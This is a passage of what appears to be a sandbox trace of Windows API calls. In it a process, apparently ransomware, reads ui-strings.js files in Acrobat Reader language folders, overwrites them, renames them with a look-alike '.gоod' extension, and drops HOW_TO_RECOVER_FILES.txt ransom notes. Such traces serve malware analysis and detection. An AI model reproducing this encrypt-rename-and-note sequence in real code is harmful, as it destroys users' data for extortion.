GetFileType (hFile=0x820) returned 0x1 [0192.382] WriteFile (in: hFile=0x820, lpBuffer=0x346e658*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x346e658*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0192.383] CloseHandle (hObject=0x820) returned 1 [0192.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0192.383] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es", lpFilePart=0x0) returned 0x77 [0192.384] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.384] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.384] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0192.385] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0192.385] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0192.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0192.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0192.385] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es", lpFilePart=0x0) returned 0x77 [0192.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.385] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.385] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0192.386] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0192.386] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0192.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0192.386] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0192.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0192.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x347e530 | out: lpFileInformation=0x347e530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b)) returned 1 [0192.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0192.386] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0192.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0192.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.386] GetFileType (hFile=0x820) returned 0x1 [0192.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0192.387] GetFileType (hFile=0x820) returned 0x1 [0192.387] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x78b [0192.387] ReadFile (in: hFile=0x820, lpBuffer=0x347f068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x347f068*, lpNumberOfBytesRead=0x203eb258*=0x78b, lpOverlapped=0x0) returned 1 [0192.388] CloseHandle (hObject=0x820) returned 1 [0192.766] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0192.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0192.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0192.768] GetFileType (hFile=0x818) returned 0x1 [0192.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0192.768] GetFileType (hFile=0x818) returned 0x1 [0192.768] WriteFile (in: hFile=0x818, lpBuffer=0x35ff1d0*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x35ff1d0*, lpNumberOfBytesWritten=0x203eb168*=0x790, lpOverlapped=0x0) returned 1 [0192.769] CloseHandle (hObject=0x818) returned 1 [0192.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0192.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0192.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0192.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6f1c4d2f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1 [0192.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0192.770] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js.gоod")) returned 1 [0192.771] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0192.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0192.771] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0192.771] GetFileType (hFile=0x818) returned 0x1 [0192.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0192.771] GetFileType (hFile=0x818) returned 0x1 [0192.772] WriteFile (in: hFile=0x818, lpBuffer=0x3602ae0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3602ae0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0192.773] CloseHandle (hObject=0x818) returned 1 [0192.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0192.773] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz", lpFilePart=0x0) returned 0x77 [0192.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.774] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.774] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0192.774] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0192.775] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0192.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0192.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0192.775] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz", lpFilePart=0x0) returned 0x77 [0192.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.775] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.775] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0192.775] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0192.775] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0192.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0192.776] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0192.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0192.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36129b8 | out: lpFileInformation=0x36129b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743)) returned 1 [0192.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0192.780] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0192.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0192.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0192.780] GetFileType (hFile=0x818) returned 0x1 [0192.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0192.780] GetFileType (hFile=0x818) returned 0x1 [0192.780] GetFileSize (in: hFile=0x818, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x743 [0192.780] ReadFile (in: hFile=0x818, lpBuffer=0x36134a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x36134a8*, lpNumberOfBytesRead=0x203eb258*=0x743, lpOverlapped=0x0) returned 1 [0192.782] CloseHandle (hObject=0x818) returned 1 [0193.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0193.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0193.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x830 [0193.228] GetFileType (hFile=0x830) returned 0x1 [0193.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0193.228] GetFileType (hFile=0x830) returned 0x1 [0193.228] WriteFile (in: hFile=0x830, lpBuffer=0x353dea0*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x353dea0*, lpNumberOfBytesWritten=0x203eb168*=0x750, lpOverlapped=0x0) returned 1 [0193.229] CloseHandle (hObject=0x830) returned 1 [0193.229] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: 